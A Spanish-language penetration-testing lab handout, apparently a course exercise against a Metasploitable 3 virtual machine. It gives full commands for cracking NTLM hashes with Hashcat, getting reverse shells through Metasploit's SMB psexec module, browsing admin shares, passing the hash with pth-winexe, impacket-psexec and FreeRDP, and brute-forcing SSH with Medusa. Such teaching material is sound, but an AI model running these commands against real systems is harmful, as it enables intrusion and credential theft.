CONSEJO
Para enviar una sesión de Meterpreter a segundo plano sin finalizarla, utilice el comando
background. Para ver todas las sesiones activas en Metasploit, use el comando sessions. Para
interactuar con una sesión específica, utilice el comando session –i <ID de sesión>.
El sistema operativo Microsoft Windows no almacena las contraseñas de los usuarios locales en
texto sin formato. En cambio, analiza las contraseñas a través de un algoritmo hash conocido
como NTLM, que convierte las contraseñas en resúmenes criptográficos. Este proceso no es
reversible. Este hash NTLM de la contraseña se almacena en el archivo SAM para cada cuenta de
usuario local.
Después de completar esta parte de la práctica, ha aprendido cómo comprometer un sistema
operativo Windows de destino que es vulnerable a la vulnerabilidad ExternalBlue. Además,
aprendió a recuperar el contenido de los archivos SAM almacenados en los sistemas operativos
Microsoft Windows. Estos hashes de contraseña se pueden utilizar en un ataque conocido como
pasar el hash (passing the hash).

Descifrar contraseñas con Hashcat


Hashcat es una increíble aplicación avanzada de recuperación de contraseñas que permite a los
probadores de penetración realizar ataques de contraseñas sin conexión. Si bien muchas
computadoras que utilizan los profesionales para realizar ataques de contraseñas fuera de línea
generalmente aprovechan la potencia de la unidad central de procesamiento (CPU), Hashcat
aprovecha la potencia tanto de la CPU como de la unidad de procesamiento de gráficos (GPU).
Sin embargo, cuando se utiliza Hashcat, siempre se recomienda utilizar la GPU en lugar de la
CPU para obtener un mejor rendimiento durante el proceso de descifrado de contraseñas.
Para que Hashcat aproveche eficientemente la potencia de la GPU de un sistema, necesita acceso
directo al componente de hardware. Esto significa que si intenta utilizar Hashcat dentro de un
entorno virtualizado, existe una alta posibilidad de que no funcione como se esperaba. Por lo
tanto, se recomienda tener Hashcat instalado/configurado en su sistema operativo host que tenga
acceso a una GPU/tarjeta gráfica dedicada.
En este ejercicio, aprenderá a utilizar Hashcat para descifrar contraseñas sin conexión de los
hashes de contraseñas que se recuperaron previamente y se guardaron en el archivo
passwordhashes.txt. Para comenzar con este ejercicio práctico, utilice las siguientes instrucciones:
1.- Primero, deberá descargar Hashcat en su sistema operativo host Windows. Vaya a
https://hashcat.net/hashcat/ y descargue el archivo binario hashcat.
2.- Una vez que se complete la descarga, use una herramienta de descompresión para extraer los
archivos.
3.- Abra el símbolo del sistema de Windows y cambie su directorio de trabajo a la carpeta Hashcat
extraída.
4.- Copie el archivo passwordhashes.txt y la lista de palabras rockyou.txt de Kali Linux y
colóquelos en la carpeta Hashcat extraída dentro de Windows. Esto garantizará que nuestros
hashes de contraseñas y nuestro archivo de diccionario estén en la misma ubicación.
5.- Dado que Microsoft Windows convierte la contraseña del usuario en un hash NTLM,
necesitamos usar la sintaxis –m 1000 para indicar el tipo de hash como NTLM y –a 0 para realizar
un ataque de directorio usando una lista de palabras específica (rockyou.txt).
C:\Users\Slayer\Downloads\hashcat-6.2.3\hashcat-6.2.3> hashcat -m 1000
passwordhashes.txt -a 0 rockyou.txt
NOTA IMPORTANTE
Hashcat es una herramienta muy poderosa para descifrar contraseñas y tiene muchas funciones.
Asegúrese de visitar su página wiki oficial para obtener más información sobre sus funciones y
comandos adicionales: https://hashcat.net/wiki/doku.php?id=hashcat.
Durante el proceso de descifrado de contraseñas, Hashcat proporciona el siguiente resultado,
indicando los hashes con los que pudo recuperar las contraseñas.
Entregue un pantallazo de lo obtenido en su computador.
6.- Una vez que Hashcat haya completado sus procesos, puede agregar el comando --show al final
de la sintaxis que usamos en el Paso 5 para ver los hashes y sus contraseñas correspondientes.
C:\Users\Slayer\Downloads\hashcat-6.2.3\hashcat-6.2.3> hashcat -m 1000
passwordhashes.txt -a 0 rockyou.txt –show

Entregue un pantallazo de lo obtenido en su computador.

Como se muestra en la captura de pantalla anterior, el primer hash dentro de nuestro archivo
passwordhashes.txt pertenece al administrador del sistema host. Usando Hashcat, podemos
recuperar la contraseña en texto plano del hash. Esto se debe a que tenemos el nombre de usuario
y la contraseña de la cuenta de Administrador del sistema de destino.

A continuación, aprenderá cómo realizar otro exploit en el servicio SMB en el objetivo y obtener
un shell inverso utilizando el módulo PsExec dentro de Metasploit.

Obtener un shell con PsExec


Microsoft desarrolló un conjunto de herramientas conocido como Sysinternals, que permite a los
profesionales de TI realizar de manera eficiente diversas tareas y monitorear el rendimiento del
sistema en los sistemas operativos Microsoft Windows. Dentro de este conjunto de herramientas
se encuentra PxExec, que está diseñado para permitir a los administradores de sistemas ejecutar
comandos de forma remota en los sistemas a través de una red.
CONSEJO
Para obtener más información sobre el conjunto de herramientas Sysinternals, consulte la
documentación oficial en https://docs.microsoft.com/en-us/sysinternals/downloads/psexec.
Dado que SMB normalmente se ejecuta en máquinas virtuales Metasploitable 3, también
podemos intentar explotar otra vulnerabilidad de seguridad. Esta vulnerabilidad aprovecha una
debilidad de seguridad dentro de SMB que permite a un atacante ejecutar código en un sistema
de destino como un usuario autenticado y obtener un shell inverso.
Para comenzar con este ejercicio, utilice las siguientes instrucciones:
1.- Asegúrese de que las máquinas virtuales Kali Linux y Metasploitable 3 estén encendidas.
2.- En Kali Linux, abra la Terminal e inicie el marco de desarrollo de explotación Metasploit:
kali@kali:~$ msfconsole

3.- Dentro de Metasploit, use los siguientes comandos para seleccionar el módulo de explotación
SMB PsExec:
msf6 > use exploit/windows/smb/psexec

Después de seleccionar el módulo de exploit, notará que Metasploit acoplará automáticamente


una carga útil de shell inverso con el exploit.
4.- A continuación, establezca el valor RHOSTS como la dirección IP de Metasploitable 3 y el
valor LHOST como la dirección IP de su máquina Kali Linux:
5.- A continuación, utilice AutoRunScript para ejecutar automáticamente una carga útil posterior
a la explotación para migrar el proceso del código malicioso que se ejecutará en el sistema de
destino cuando sea explotado:
msf6 exploit(windows/smb/psexec) > set AutoRunScript
post/windows/manage/migrate

6.- Usando el comando options, verá que se necesitan los parámetros SMBUSER y SMBPass.
Utilice los siguientes comandos para configurar los parámetros requeridos e iniciar el exploit:

msf6 exploit(windows/smb/psexec) > set SMBUSER Administrator


msf6 exploit(windows/smb/psexec) > set SMBPass vagrant
msf6 exploit(windows/smb/psexec) > exploit

Entregue un pantallazo de lo obtenido en su computador.


La captura de pantalla anterior muestra que el exploit funciona como se esperaba, que el proceso
malicioso en el sistema de destino se migró a otro proceso menos sospechoso para reducir la
detección y que se obtuvo un shell inverso con Meterpreter.
7.- Por último, dentro de Meterpreter, escriba el comando de shell para obtener un shell de
Windows desde el destino en su máquina Kali Linux:
Entregue un pantallazo de lo obtenido en su computador.

Como se muestra en la captura de pantalla anterior, obtuvimos un shell de Windows en Kali Linux
a través de la sesión de Meterpreter. La ejecución del comando whoami revelará que se han
obtenido privilegios a nivel del sistema en la máquina de destino.
Una vez completado este ejercicio, sabrá cómo comprometer un sistema objetivo basado en
Windows explotando una vulnerabilidad dentro de SMB y aprovechando las funciones de PsExec
en el objetivo. A continuación, aprenderá a utilizar Kali Linux para ver el contenido de un recurso
compartido SMB remoto en un sistema de destino.
Acceder a recursos compartidos remotos mediante SMBclient
En este ejercicio, aprenderá a utilizar Kali Linux para interactuar con un recurso compartido de
archivos remoto en un sistema basado en Windows que ejecuta el servicio de red SMB. SMBclient
es una herramienta que está preinstalada en Kali Linux. Permite a los probadores de penetración
interactuar con archivos remotos a través de una red.
Para comenzar con este ejercicio, utilice las siguientes instrucciones:
1.- Encienda las máquinas virtuales Kali Linux y Metasploitable 3.
2.- Utilice el siguiente comando SMBclient para enumerar el archivo remoto que se ha compartido
en Metasploitable 3 utilizando la identidad del usuario Administrador:
kali@kali:~$ smbclient -L \\\\172.30.1.21\\ -U Administrator

Al enumerar los recursos compartidos de archivos en un sistema Windows, se requiere \\\\ antes
de la dirección IP del sistema de destino y \\ después de la dirección IP.
3.- Se le pedirá que autentique la identidad como Administrador; simplemente use vagrant como
contraseña. Esta contraseña se recuperó en la sección Explotación del protocolo de escritorio
remoto de Windows.
Entregue un pantallazo de lo obtenido en su computador.

La captura de pantalla anterior muestra una lista de archivos compartidos en el destino:


Dado que nos hemos autenticado en el objetivo remoto como administrador, el acceso a todos los
recursos compartidos de archivos enumerados estará disponible, incluida la ubicación ADMIN$.
4.- Echemos un vistazo a la ubicación del recurso compartido ADMIN$ en el sistema de destino:
kali@kali:~$ smbclient \\\\172.30.1.21\\ADMIN$ -U Administrator

Entregue un pantallazo de lo obtenido en su computador.

5.- A continuación, echemos un vistazo a la ubicación de C$ en el servidor remoto:


kali@kali:~$ smbclient \\\\172.30.1.21\\C$ -U Administrator
Entregue un pantallazo de lo obtenido en su computador.

La captura de pantalla anterior muestra la lista de archivos y directorios dentro del directorio C:\
dentro del sistema de destino.
6.- Para descargar un archivo desde el recurso compartido remoto a su sistema atacante local, use
el comando get en el modo SMB:

smb: \> get jack_of_diamonds.png


smb: \> exit

Entregue un pantallazo del archivo Jack_of_diamonds.png en su computador.

El archivo se almacenará en el directorio de trabajo actual en Kali Linux. Una vez que haya
obtenido acceso a un recurso compartido de archivos remoto, podrá cargar y descargar archivos,
según sus privilegios de acceso.
En esta sección, aprendió cómo realizar varios ataques para aprovechar las vulnerabilidades de
seguridad que se encuentran dentro del servicio SMB en un sistema. A continuación, aprenderá
cómo aprovechar el poder de utilizar el hash de contraseña del Administrador para obtener acceso
y ejecutar comandos en sistemas remotos en una red.

Pasando el hash (“Passing the Hash”)


Como aprendió anteriormente, el sistema operativo Microsoft Windows no almacena las
contraseñas de los usuarios locales en texto sin formato, sino que las convierte en un hash NTLM
en las versiones más recientes de Windows. Los evaluadores de penetración generalmente
enfrentan una limitación de tiempo en la cantidad de tiempo asignado que se les asigna para
realizar una prueba de penetración en las organizaciones. Esto significa que tienen que trabajar
rápida y eficientemente para garantizar que se cumplan los objetivos. Sin embargo, descifrar
contraseñas puede ser una tarea que requiere mucho tiempo. Si bien un evaluador de penetración
puede querer realizar un ataque de fuerza bruta a una contraseña, puede llevar meses o incluso
años recuperar la contraseña de un hash criptográfico. Usar un ataque de contraseña de diccionario
puede llevar menos tiempo en comparación con usar el método de fuerza bruta, pero las
herramientas para descifrar contraseñas deben probar cada palabra dentro de la lista de palabras.
Algunas listas de palabras contienen más de 4 millones de palabras y, como era de esperar, la
herramienta para descifrar contraseñas necesita tiempo para comparar cada palabra con el valor
hash.
Una técnica eficiente que los evaluadores de penetración suelen utilizar para superar este desafío
se conoce como pasar el hash. Esta técnica permite a un probador de penetración utilizar el hash
NTLM de un sistema Windows para obtener acceso y ejecutar comandos remotos en otros
sistemas Windows en el dominio de Active Directory (AD), sin tener que descifrar la
contraseña. Si, como probador de penetración, puede capturar el hash de contraseña de un
administrador de dominio de la red o de un sistema comprometido, puede usar el valor hash para
obtener acceso a otros sistemas en la red, especialmente al controlador de dominio (DC) de la
organización. Entonces, será el final del juego.
En las siguientes subsecciones, aprenderá cómo utilizar diversas herramientas y técnicas para
obtener acceso y ejecutar comandos en un sistema Windows de destino utilizando la técnica de
pasar el hash. Para cada ejercicio dentro de esta sección, usaremos los hashes LM y NTLM del
administrador, que se obtuvieron de la máquina virtual Metasploitable 3 en los ejercicios
anteriores de esta práctica.

Obteniendo ese shell con PTH-WinExe


La herramienta PTH-WinExe permite a los probadores de penetración pasar el hash muy
fácilmente durante las pruebas de seguridad dentro de una organización. Para comenzar con este
ejercicio, utilice las siguientes instrucciones:
1.- Asegúrese de que las máquinas virtuales Kali Linux (atacante) y Metasploitable 3 (objetivo)
estén encendidas.
2.- A continuación, intentemos obtener acceso al shell del símbolo del sistema de Windows en
nuestra máquina Kali Linux pasando los hashes de la cuenta de administrador de nuestro objetivo:
kali@kali:~$ pth-winexe -U
Administrator%aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c2
45d35b50b //172.30.1.21 cmd

Cuando se utiliza la herramienta PTH-WinExe, se utiliza un carácter % para separar el nombre de


usuario y el hash LM.
Entregue un pantallazo de la salida del comando.
Como se muestra en la captura de pantalla anterior, podemos pasar con éxito el hash de la cuenta
de usuario Administrador al objetivo y obtener un shell del símbolo del sistema de Windows:
Como se muestra en la captura de pantalla anterior, es bastante sencillo realizar la técnica de pasar
el hash una vez que haya obtenido el valor hash de la contraseña de un usuario.
En la siguiente sección, aprenderá a utilizar otra herramienta popular para pasar el hash a través
de una red y obtener acceso remoto al sistema de destino.

Impacket, la herramienta para gobernarlos a todos


Impacket es una navaja suiza que permite a los probadores de penetración analizar datos en
servicios de red que se ejecutan en sistemas host a través de una red. En esta sección, aprenderá
cómo aprovechar el poder del módulo PsExec de Impacket para obtener acceso a un sistema
Windows de destino.
CONSEJO
Para obtener más información sobre Impacket y sus capacidades, consulte el repositorio oficial
de GitHub en https://github.com/SecureAuthCorp/impacket.
Para comenzar con este ejercicio, utilice las siguientes instrucciones:
1.- Asegúrese de que las máquinas virtuales Kali Linux y Metasploitable 3 estén encendidas y
tengan conectividad de extremo a extremo.
2.- A continuación, utilice el módulo Impacket-PsExec con el nombre de usuario de
Administrador y los hashes LM y NTLM para obtener acceso a un shell remoto en el destino:
kali@kali:~$ impacket-psexec Administrator@172.30.1.21 -hashes
aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
Entregue un pantallazo de la salida del comando.
Como se muestra en la captura de pantalla anterior, la herramienta impacket-psexec nos permitió
pasar el hash de la cuenta de usuario del administrador al host basado en Windows de destino y
obtener acceso a un shell remoto en el destino:
Como se muestra en la captura de pantalla anterior, la herramienta Impacket descubrió un recurso
compartido de archivos remoto en el sistema de destino y pudo cargar una carga útil maliciosa en
el destino. A continuación, se ejecutó la carga útil en el objetivo, lo que nos permitió obtener un
shell inverso en el sistema de destino.
A continuación, aprenderá cómo pasar el hash para obtener acceso a una sesión de escritorio
remoto en un sistema Windows de destino.

Escritorio remoto con FreeRDP


Lo más habitual en muchas organizaciones es que el equipo de TI habilite el Protocolo de
escritorio remoto (RDP) de Microsoft en sus sistemas cliente y servidor de Windows. Este
protocolo proporciona un acceso conveniente a sistemas remotos en la red, lo que permite al
equipo de TI realizar mantenimiento remoto y resolución de problemas en las máquinas host. Sin
embargo, si el hash de una cuenta de administrador se recupera de un sistema comprometido o se
captura de la red, un probador de penetración puede usarlo para obtener acceso a una sesión RDP
en un servidor de dominio o sistema cliente.
En este ejercicio, aprenderá a utilizar FreeRDP para pasar el hash NTLM de una cuenta de usuario
administrador a un sistema basado en Windows de destino y obtener una sesión RDP. Para
comenzar con esta práctica de laboratorio, utilice las siguientes instrucciones:
1.- Asegúrese de que sus máquinas virtuales Kali Linux y Metasploitable 3 estén encendidas.
2.- Utilice la herramienta FreeRDP para pasar el nombre de usuario como administrador, el hash
NTLM y la dirección IP del sistema de destino (Metasploitable 3).
kali@kali:~$ xfreerdp /u:Administrator
/pth:e02bc503339d51f71d913c245d35b50b /v:172.30.1.21

3.- A continuación, se le pedirá que acepte el certificado del host remoto. Simplemente acepte
esto para continuar.
Entregue un pantallazo del acceso a Windows Server 2008.

La captura de pantalla anterior muestra que tenemos acceso al sistema host basado en Windows
de destino mediante FreeRDP:
Como aprendió en esta sección, pasar el hash es una alternativa para obtener acceso a un sistema
de destino, sin tener que perder demasiado tiempo intentando realizar técnicas de descifrado de
contraseñas, ya que esto lleva bastante tiempo. Ha aprendido a utilizar varias herramientas para
pasar el hash a través de una red utilizando Kali Linux. En la siguiente sección, aprenderá cómo
aprovechar el acceso en un sistema que ejecuta un servidor SSH.

Obtener acceso explotando SSH


Los profesionales de TI suelen utilizar SSH para proteger el acceso a sistemas remotos a través
de una red. SSH es un protocolo de red común que opera en un modelo cliente-servidor y
proporciona cifrado de datos para garantizar que los sistemas cliente y servidor sean
confidenciales. Sin embargo, como probador de penetración, puede realizar un escaneo de la red
para determinar si un dispositivo host en la red está ejecutando el servicio SSH e intentar obtener
acceso remoto utilizando credenciales de usuario válidas.
Para comenzar con este ejercicio, utilice las siguientes instrucciones:
1.- Encienda las máquinas virtuales Kali Linux (atacante) y Metasploitable 3 (objetivo).
2.- Utilice Nmap para realizar un análisis de puertos y determinar si SSH se está ejecutando en su
puerto predeterminado 22:
kali@kali:~$ nmap -A -p 22 172.30.1.21

Entregue un pantallazo de la salida del comando.

Como se muestra en la captura de pantalla anterior, Nmap detectó que el puerto


22 está abierto y está ejecutando el servicio SSH en el host de destino.

3.- A continuación, inicie el marco de desarrollo de explotación Metasploit en Kali Linux para
realizar la enumeración de usuarios SSH:
kali@kali:~$ msfconsole

4.- Utilice el siguiente comando para invocar el módulo de enumeración de usuarios SSH:
msf6 > use auxiliary/scanner/ssh/ssh_enumusers

5.- A continuación, establezca la dirección del objetivo:


msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.30.1.21
6.- Configure la lista de palabras que contiene una lista de posibles nombres de usuario e inicie el
módulo:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE


/usr/share/wordlists/metasploit/default_users_for_services_unhas
h.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

Entregue un pantallazo de la salida del comando.

Como se muestra en la captura de pantalla anterior, Metasploit pudo identificar varios nombres
de usuario válidos que son aceptados por la máquina de destino:
7.- A continuación, usemos el módulo de inicio de sesión SSH para intentar iniciar sesión con las
credenciales de un usuario en el objetivo:

msf6 > use auxiliary/scanner/ssh/ssh_login


msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.30.1.21
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME
Administrator
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > run

Entregue un pantallazo de la salida del comando.


Como se muestra en la captura de pantalla anterior, las credenciales de usuario son válidas y
Metasploit puede obtener un shell en el objetivo:
8.- Utilice el comando sessions dentro de Metasploit para ver una lista de todas las sesiones
activas.
9.- A continuación, utilice el comando session -i <session-ID> para interactuar con una sesión
específica:
Entregue un pantallazo de la salida del comando.

Como se muestra en la captura de pantalla anterior, se obtuvo un shell de enlace que nos permite
ejecutar comandos basados en Windows de forma remota en el sistema de destino.
10.- A continuación, usemos Medusa, una herramienta en línea para descifrar contraseñas para
identificar contraseñas válidas, para obtener acceso al objetivo mediante SSH. Utilice el siguiente
comando:
kali@kali:~$ medusa -h 172.30.1.21 -u Administrator -P
/usr/share/wordlists/rockyou.txt -M ssh

Cuando Medusa encuentre credenciales de usuario válidas, proporcionará el siguiente resultado:


Entregue un pantallazo de la salida del comando.

CONSEJO
Para obtener más información sobre las características y capacidades de Medusa, utilice el
comando man medusa para ver las páginas del manual de la herramienta.
Habiendo completado esta sección, ha aprendido cómo descubrir y explotar un servicio SSH en
un sistema de destino dentro de una red.

También podría gustarte